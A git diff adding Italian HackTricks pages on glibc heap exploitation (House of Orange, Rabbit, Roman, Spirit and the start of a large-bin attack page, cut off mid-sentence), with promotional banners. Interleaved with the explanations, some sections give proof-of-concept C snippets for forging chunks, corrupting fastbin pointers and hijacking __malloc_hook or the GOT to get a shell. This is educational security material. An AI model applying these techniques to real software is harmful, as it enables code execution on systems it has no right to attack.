+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +### Codice + +* Trova un esempio in [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c) +* La tecnica di exploit è stata corretta in questa [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) quindi non funziona più (funzionante in versioni precedenti alla 2.26) +* Stesso esempio **con più commenti** in [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html) + +### Obiettivo + +* Abusare della funzione `malloc_printerr` + +### Requisiti + +* Sovrascrivere la dimensione del top chunk +* Leak di Libc e heap + +### Contesto + +Alcuni dettagli necessari dai commenti di [**questo esempio**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:** + +Il punto è che, nelle versioni più vecchie di libc, quando veniva chiamata la funzione `malloc_printerr`, essa avrebbe **iterato attraverso una lista di strutture `_IO_FILE`** memorizzate in `_IO_list_all`, ed effettivamente **eseguito** un puntatore di istruzione in quella struttura.\ +Questo attacco forgerà una **falsa struttura `_IO_FILE`** che scriveremo in **`_IO_list_all`**, e causerà l'esecuzione di `malloc_printerr`.\ +Poi eseguirà qualsiasi indirizzo che abbiamo memorizzato nella tabella di salto delle strutture **`_IO_FILE`**, e otterremo l'esecuzione del codice + +### Attacco + +L'attacco inizia riuscendo a ottenere il **top chunk** all'interno del **unsorted bin**. Questo viene ottenuto chiamando `malloc` con una dimensione maggiore della dimensione corrente del top chunk ma più piccola di **`mmp_.mmap_threshold`** (di default è 128K), che altrimenti attiverebbe l'allocazione `mmap`. Ogni volta che la dimensione del top chunk viene modificata, è importante assicurarsi che il **top chunk + la sua dimensione** sia allineato alla pagina e che il bit **prev\_inuse** del top chunk sia sempre impostato. + +Per ottenere il top chunk all'interno dell'unsorted bin, allocare un chunk per creare il top chunk, cambiare la dimensione del top chunk (con un overflow nel chunk allocato) in modo che **top chunk + dimensione** sia allineato alla pagina con il bit **prev\_inuse** impostato. Quindi allocare un chunk più grande della nuova dimensione del top chunk. Nota che `free` non viene mai chiamato per ottenere il top chunk nell'unsorted bin. + +Il vecchio top chunk è ora nell'unsorted bin. Supponendo di poter leggere i dati al suo interno (possibilmente a causa di una vulnerabilità che ha causato anche l'overflow), è possibile ottenere i leak degli indirizzi di Libc da esso e ottenere l'indirizzo di **\_IO\_list\_all**. + +Viene eseguito un attacco all'unsorted bin abusando dell'overflow per scrivere `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando viene allocato un nuovo chunk, il vecchio top chunk verrà diviso e un puntatore all'unsorted bin verrà scritto in **`_IO_list_all`**. + +Il passo successivo comporta la riduzione della dimensione del vecchio top chunk per adattarla a un bin piccolo, impostando specificamente la sua dimensione a **0x61**. Questo serve a due scopi: + +1. **Inserimento nel Small Bin 4**: Quando `malloc` esamina l'unsorted bin e vede questo chunk, cercherà di inserirlo nel small bin 4 a causa delle sue dimensioni ridotte. Questo fa sì che il chunk finisca all'inizio della lista del small bin 4 che è la posizione del puntatore FD del chunk di **`_IO_list_all`** poiché abbiamo scritto un indirizzo vicino in **`_IO_list_all`** tramite l'attacco all'unsorted bin. +2. **Attivazione di un Controllo Malloc**: Questa manipolazione della dimensione del chunk causerà a `malloc` di eseguire controlli interni. Quando controlla la dimensione del falso chunk in avanti, che sarà zero, attiva un errore e chiama `malloc_printerr`. + +La manipolazione del bin piccolo ti permetterà di controllare il puntatore in avanti del chunk. L'overlap con **\_IO\_list\_all** viene utilizzato per forgiare una falsa struttura **\_IO\_FILE**. La struttura è attentamente progettata per includere campi chiave come `_IO_write_base` e `_IO_write_ptr` impostati su valori che superano i controlli interni in libc. Inoltre, viene creato una tabella di salto all'interno della struttura falsa, dove un puntatore di istruzione è impostato all'indirizzo in cui può essere eseguito del codice arbitrario (ad esempio, la funzione `system`). + +Per riassumere la parte rimanente della tecnica: + +* **Riduci il Vecchio Top Chunk**: Regola la dimensione del vecchio top chunk a **0x61** per adattarlo a un bin piccolo. +* **Configura la Falsa Struttura `_IO_FILE`**: Sovrapporre il vecchio top chunk con la falsa struttura **\_IO\_FILE** e impostare i campi in modo appropriato per dirottare il flusso di esecuzione. + +Il passo successivo comporta la forgiatura di una falsa struttura **\_IO\_FILE** che si sovrappone al vecchio top chunk attualmente nell'unsorted bin. I primi byte di questa struttura sono attentamente progettati per includere un puntatore a un comando (ad esempio, "/bin/sh") che verrà eseguito. + +I campi chiave nella falsa struttura **\_IO\_FILE**, come `_IO_write_base` e `_IO_write_ptr`, sono impostati su valori che superano i controlli interni in libc. Inoltre, viene creato una tabella di salto all'interno della falsa struttura, dove un puntatore di istruzione è impostato all'indirizzo in cui può essere eseguito del codice arbitrario. Tipicamente, questo sarebbe l'indirizzo della funzione `system` o un'altra funzione che può eseguire comandi shell. + +L'attacco culmina quando una chiamata a `malloc` attiva l'esecuzione del codice attraverso la struttura manipolata di **\_IO\_FILE**. Ciò consente efficacemente l'esecuzione di codice arbitrario, che di solito porta alla creazione di una shell o all'esecuzione di un altro payload dannoso. + +**Sommario dell'Attacco:** + +1. **Configura il top chunk**: Alloca un chunk e modifica la dimensione del top chunk. +2. **Forza il top chunk nell'unsorted bin**: Alloca un chunk più grande. +3. **Leak degli indirizzi di Libc**: Utilizza la vulnerabilità per leggere dall'unsorted bin. +4. **Esegui l'attacco all'unsorted bin**: Scrivi in **\_IO\_list\_all** utilizzando un overflow. +5. **Riduci il vecchio top chunk**: Regola la sua dimensione per adattarla a un bin piccolo. +6. **Configura una falsa struttura \_IO\_FILE**: Forgia una falsa struttura file per dirottare il flusso di controllo. +7. **Attiva l'esecuzione del codice**: Alloca un chunk per eseguire l'attacco ed eseguire del codice arbitrario. + +Questo approccio sfrutta i meccanismi di gestione dell'heap, i leak delle informazioni di Libc e gli overflow dell'heap per ottenere l'esecuzione del codice senza chiamare direttamente `free`. Creando attentamente la falsa struttura **\_IO\_FILE** e posizionandola nella posizione corretta, l'attacco può dirottare il flusso di controllo durante le operazioni standard di allocazione di memoria. Ciò consente l'esecuzione di codice arbitrario, potenzialmente portando alla creazione di una shell o ad altre attività dannose. +## Riferimenti + +* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/) +* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html) + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/libc-heap/house-of-rabbit.md b/binary-exploitation/libc-heap/house-of-rabbit.md new file mode 100644 index 000000000..a6fb2dc3d --- /dev/null +++ b/binary-exploitation/libc-heap/house-of-rabbit.md @@ -0,0 +1,95 @@ +# Casa del Coniglio + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. + +
+ +### Requisiti + +1. **Capacità di Modificare il Puntatore fd o la Dimensione del Fastbin**: Questo significa che puoi cambiare il puntatore in avanti di un chunk nel fastbin o la sua dimensione. +2. **Capacità di Attivare `malloc_consolidate`**: Questo può essere fatto allocando un chunk grande o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk. + +### Obiettivi + +1. **Creare Chunk Sovrapposti**: Per far sì che un chunk si sovrapponga con un altro, consentendo ulteriori manipolazioni dell'heap. +2. **Forgiare Chunk Falsi**: Per ingannare l'allocatore facendo trattare un chunk falso come un chunk legittimo durante le operazioni sull'heap. + +## Passaggi dell'Attacco + +### POC 1: Modificare la Dimensione di un Chunk Fastbin + +**Obiettivo**: Creare un chunk sovrapposto manipolando la dimensione di un chunk fastbin. + +* **Passo 1: Allocare Chunk** +```cpp +unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 +unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 +malloc(0x10); // Allocates a small chunk to change the fastbin state +``` +* **Passo 2: Liberare i Chunk** +```cpp +free(chunk1); // Frees the chunk at 0x602000 +free(chunk2); // Frees the chunk at 0x602050 +``` +* **Passo 3: Modifica della Dimensione del Chunk** +```cpp +chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) +``` +* **Passo 4: Attivare `malloc_consolidate`** +```cpp +malloc(0x1000); // Allocate a large chunk to trigger heap consolidation +``` +Allocare un grosso chunk attiva la funzione `malloc_consolidate`, unendo i chunk piccoli nel fastbin. La dimensione manipolata di `chunk1` fa sì che si sovrapponga a `chunk2`. + +Dopo la consolidazione, `chunk1` si sovrappone a `chunk2`, consentendo ulteriori sfruttamenti. + +### POC 2: Modificare il Puntatore FD + +**Obiettivo**: Creare un chunk falso manipolando il puntatore fd del fastbin. + +* **Passo 1: Allocare i Chunk** +```cpp +unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 +unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 +``` +**Spiegazione**: Allociamo due chunk, uno più piccolo e uno più grande, per impostare l'heap per il chunk falso. + +* **Passo 2: Creare un Chunk Falso** +```cpp +chunk2[1] = 0x31; // Fake chunk size 0x30 +chunk2[7] = 0x21; // Next fake chunk +chunk2[11] = 0x21; // Next-next fake chunk +``` +* **Passo 3: Liberare il Chunk1** +```cpp +free(chunk1); // Frees the chunk at 0x602000 +``` +**Spiegazione**: Liberiamo `chunk1`, aggiungendolo alla lista fastbin. + +* **Passo 4: Modifica FD di Chunk1** +```cpp +chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 +``` +**Spiegazione**: Cambiamo il puntatore in avanti (fd) di `chunk1` in modo che punti al nostro chunk falso all'interno di `chunk2`. + +* **Passo 5: Attivare `malloc_consolidate`** +```cpp +malloc(5000); // Allocate a large chunk to trigger heap consolidation +``` +L'allocazione di un grosso blocco attiva nuovamente `malloc_consolidate`, che elabora il blocco falso. + +Il blocco falso diventa parte della lista fastbin, rendendolo un blocco legittimo per ulteriori sfruttamenti. + +### Riassunto + +La tecnica della **House of Rabbit** coinvolge la modifica della dimensione di un blocco fastbin per creare blocchi sovrapposti o la manipolazione del puntatore fd per creare blocchi falsi. Ciò consente agli attaccanti di forgiare blocchi legittimi nell'heap, consentendo vari tipi di sfruttamento. Comprendere e mettere in pratica questi passaggi migliorerà le tue abilità di sfruttamento dell'heap. diff --git a/binary-exploitation/libc-heap/house-of-roman.md b/binary-exploitation/libc-heap/house-of-roman.md new file mode 100644 index 000000000..9dcbeffbb --- /dev/null +++ b/binary-exploitation/libc-heap/house-of-roman.md @@ -0,0 +1,137 @@ +# Casa di Roman + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +Questa è stata una tecnica molto interessante che ha permesso di ottenere RCE senza perdite tramite fake fastbins, l'attacco unsorted\_bin e sovrascritture relative. Tuttavia è stata [**corretta**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). + +### Codice + +* Puoi trovare un esempio in [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) + +### Obiettivo + +* RCE sfruttando i puntatori relativi + +### Requisiti + +* Modifica dei puntatori fastbin e unsorted bin +* Devono essere forzati 12 bit di casualità (0,02% di probabilità) di funzionare + +## Passaggi dell'Attacco + +### Parte 1: Il Chunk Fastbin punta a \_\_malloc\_hook + +Creare diversi chunk: + +* `fastbin_victim` (0x60, offset 0): Chunk UAF in seguito da modificare il puntatore dell'heap per puntare al valore di LibC. +* `chunk2` (0x80, offset 0x70): Per un buon allineamento +* `main_arena_use` (0x80, offset 0x100) +* `relative_offset_heap` (0x60, offset 0x190): offset relativo sul chunk 'main\_arena\_use' + +Poi `free(main_arena_use)` che metterà questo chunk nella lista non ordinata e otterrà un puntatore a `main_arena + 0x68` sia nei puntatori `fd` che `bk`. + +Ora viene allocato un nuovo chunk `fake_libc_chunk(0x60)` perché conterrà i puntatori a `main_arena + 0x68` nei puntatori `fd` e `bk`. + +Poi vengono liberati `relative_offset_heap` e `fastbin_victim`. +```c +/* +Current heap layout: +0x0: fastbin_victim - size 0x70 +0x70: alignment_filler - size 0x90 +0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) +0x170: leftover_main - size 0x20 +0x190: relative_offset_heap - size 0x70 + +bin layout: +fastbin: fastbin_victim -> relative_offset_heap +unsorted: leftover_main +*/ +``` +* `fastbin_victim` ha un `fd` che punta a `relative_offset_heap` +* `relative_offset_heap` è uno spostamento dalla `fake_libc_chunk`, che contiene un puntatore a `main_arena + 0x68` +* Cambiando l'ultimo byte di `fastbin_victim.fd` è possibile far sì che `fastbin_victim punti` a `main_arena + 0x68` + +Per le azioni precedenti, l'attaccante deve essere in grado di modificare il puntatore fd di `fastbin_victim`. + +Quindi, `main_arena + 0x68` non è così interessante, quindi modifichiamolo in modo che il puntatore punti a **`__malloc_hook`**. + +Nota che `__memalign_hook` di solito inizia con `0x7f` e zeri prima di esso, quindi è possibile falsificarlo come un valore nel fast bin `0x70`. Poiché gli ultimi 4 bit dell'indirizzo sono **casuali** ci sono `2^4=16` possibilità affinché il valore finisca puntando dove siamo interessati. Quindi qui viene eseguito un attacco BF in modo che il chunk finisca come: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** + +(Per ulteriori informazioni sugli altri byte, controlla la spiegazione nell'[esempio di how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Se il BF non funziona, il programma crasha (quindi riprova finché non funziona). + +Quindi, vengono eseguiti 2 malloc per rimuovere i 2 chunk iniziali del fast bin e viene allocato un terzo per ottenere un chunk nel **`__malloc_hook:`** +```c +malloc(0x60); +malloc(0x60); +uint8_t* malloc_hook_chunk = malloc(0x60); +``` +### Parte 2: Attacco unsorted\_bin + +Per ulteriori informazioni puoi controllare: + +{% content-ref url="unsorted-bin-attack.md" %} +[unsorted-bin-attack.md](unsorted-bin-attack.md) +{% endcontent-ref %} + +Ma fondamentalmente consente di scrivere `main_arena + 0x68` in qualsiasi posizione specificata in `chunk->bk`. E per l'attacco scegliamo `__malloc_hook`. Quindi, dopo averlo sovrascritto, utilizzeremo una sovrascrittura relativa per puntare a un `one_gadget`. + +Per questo iniziamo ottenendo un chunk e mettendolo nell'**unsorted bin**: +```c +uint8_t* unsorted_bin_ptr = malloc(0x80); +malloc(0x30); // Don't want to consolidate + +puts("Put chunk into unsorted_bin\n"); +// Free the chunk to create the UAF +free(unsorted_bin_ptr); +``` +Usa un UAF in questo chunk per puntare `unsorted_bin_ptr->bk` all'indirizzo di `__malloc_hook` (abbiamo già forzato questo in precedenza). + +{% hint style="danger" %} +Nota che questo attacco corrompe il bin non ordinato (quindi anche small e large). Quindi possiamo **usare solo allocazioni dal fast bin ora** (un programma più complesso potrebbe fare altre allocazioni e bloccarsi), e per attivare questo dobbiamo **allocare la stessa dimensione o il programma si bloccherà.** +{% endhint %} + +Quindi, per attivare la scrittura di `main_arena + 0x68` in `__malloc_hook` eseguiamo dopo aver impostato `__malloc_hook` in `unsorted_bin_ptr->bk` dobbiamo semplicemente fare: **`malloc(0x80)`** + +### Passo 3: Imposta \_\_malloc\_hook su system + +Nel primo passo abbiamo finito per controllare un chunk contenente `__malloc_hook` (nella variabile `malloc_hook_chunk`) e nel secondo passo siamo riusciti a scrivere `main_arena + 0x68` qui. + +Ora, sfruttiamo una sovrascrittura parziale in `malloc_hook_chunk` per utilizzare l'indirizzo libc che abbiamo scritto lì (`main_arena + 0x68`) per **puntare a un indirizzo `one_gadget`**. + +Qui è necessario **forzare 12 bit di casualità** (ulteriori informazioni nell'[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ esempio](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). + +Infine, una volta sovrascritto l'indirizzo corretto, **chiama `malloc` e attiva il `one_gadget`**. + +## Riferimenti + +* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) +* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) +* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/) + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/libc-heap/house-of-spirit.md b/binary-exploitation/libc-heap/house-of-spirit.md new file mode 100644 index 000000000..16ede12f1 --- /dev/null +++ b/binary-exploitation/libc-heap/house-of-spirit.md @@ -0,0 +1,134 @@ +# Casa dello Spirito + +
+ +Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Informazioni di Base + +### Codice + +
+ +Casa dello Spirito +```c +#include +#include +#include +#include + +// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit + +struct fast_chunk { +size_t prev_size; +size_t size; +struct fast_chunk *fd; +struct fast_chunk *bk; +char buf[0x20]; // chunk falls in fastbin size range +}; + +int main() { +struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory +void *ptr, *victim; + +ptr = malloc(0x30); + +printf("Original alloc address: %p\n", ptr); +printf("Main fake chunk:%p\n", &fake_chunks[0]); +printf("Second fake chunk for size: %p\n", &fake_chunks[1]); + +// Passes size check of "free(): invalid size" +fake_chunks[0].size = sizeof(struct fast_chunk); + +// Passes "free(): invalid next size (fast)" +fake_chunks[1].size = sizeof(struct fast_chunk); + +// Attacker overwrites a pointer that is about to be 'freed' +// Point to .fd as it's the start of the content of the chunk +ptr = (void *)&fake_chunks[0].fd; + +free(ptr); + +victim = malloc(0x30); +printf("Victim: %p\n", victim); + +return 0; +} +``` +
+ +### Obiettivo + +* Essere in grado di aggiungere un indirizzo nel tcache / fast bin in modo da poterlo allocare successivamente + +### Requisiti + +* Questo attacco richiede che un attaccante sia in grado di creare un paio di chunk fast falsi indicando correttamente il valore della dimensione e poi essere in grado di liberare il primo chunk falso in modo che entri nel bin. + +### Attacco + +* Creare chunk falsi che eludono i controlli di sicurezza: sarà necessario creare 2 chunk falsi indicando essenzialmente nelle posizioni corrette le dimensioni corrette +* Gestire in qualche modo la liberazione del primo chunk falso in modo che entri nel bin fast o tcache e quindi allocarlo per sovrascrivere quell'indirizzo + +**Il codice di** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **è ottimo per comprendere l'attacco.** Anche questo schema dal codice lo riassume abbastanza bene: +```c +/* +this will be the structure of our two fake chunks: +assuming that you compiled it for x64 + ++-------+---------------------+------+ +| 0x00: | Chunk # 0 prev size | 0x00 | ++-------+---------------------+------+ +| 0x08: | Chunk # 0 size | 0x60 | ++-------+---------------------+------+ +| 0x10: | Chunk # 0 content | 0x00 | ++-------+---------------------+------+ +| 0x60: | Chunk # 1 prev size | 0x00 | ++-------+---------------------+------+ +| 0x68: | Chunk # 1 size | 0x40 | ++-------+---------------------+------+ +| 0x70: | Chunk # 1 content | 0x00 | ++-------+---------------------+------+ + +for what we are doing the prev size values don't matter too much +the important thing is the size values of the heap headers for our fake chunks +*/ +``` +{% hint style="info" %} +Nota che è necessario creare il secondo chunk per eludere alcuni controlli di coerenza. +{% endhint %} + +## Esempi + +* CTF [https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html) +* **Libc infoleak**: Attraverso un overflow è possibile cambiare un puntatore per puntare a un indirizzo GOT al fine di ottenere un indirizzo libc tramite l'azione di lettura del CTF +* **House of Spirit**: Sfruttando un contatore che conta il numero di "fucili" è possibile generare una dimensione falsa del primo chunk falso, quindi sfruttando un "messaggio" è possibile falsificare la seconda dimensione di un chunk e infine sfruttando un overflow è possibile cambiare un puntatore che verrà liberato in modo che il nostro primo chunk falso venga liberato. Quindi, possiamo allocarlo e al suo interno ci sarà l'indirizzo in cui è memorizzato il "messaggio". Successivamente, è possibile far puntare questo all'ingresso di `scanf` all'interno della tabella GOT, in modo da poterlo sovrascrivere con l'indirizzo a system.\ +La prossima volta che viene chiamato `scanf`, possiamo inviare l'input `"/bin/sh"` e ottenere una shell. + +## Riferimenti + +* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit) + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/large-bin-attack.md b/binary-exploitation/libc-heap/large-bin-attack.md new file mode 100644 index 000000000..e915d420c --- /dev/null +++ b/binary-exploitation/libc-heap/large-bin-attack.md @@ -0,0 +1,78 @@ +# Attacco Large Bin + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +Per ulteriori informazioni su cosa sia un large bin, controlla questa pagina: + +{% content-ref url="bins-and-memory-allocations.md" %} +[bins-and-memory-allocations.md](bins-and-memory-allocations.md) +{% endcontent-ref %} + +È possibile trovare un ottimo esempio in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c). + +Fondamentalmente qui puoi vedere come, nell'ultima "corrente" versione di glibc (2.35), non viene controllato: **`P->bk_nextsize`** permettendo di modificare un indirizzo arbitrario con il valore di un chunk di large bin se vengono soddisfatte determinate condizioni. + +In quell'esempio puoi trovare le seguenti condizioni: + +* Viene allocato un chunk grande +* Viene allocato un chunk grande più piccolo del primo ma nello stesso indice +* Deve essere più piccolo quindi nel bin deve andare per primo +* (Viene creato un chunk per evitare la fusione con il chunk superiore) +* Quindi, il primo chunk grande viene liberato e viene allocato un nuovo chunk più grande di esso -> Chunk1 va nel large bin +* Quindi, il secondo chunk grande viene liberato +* Ora, la vulnerabilità: 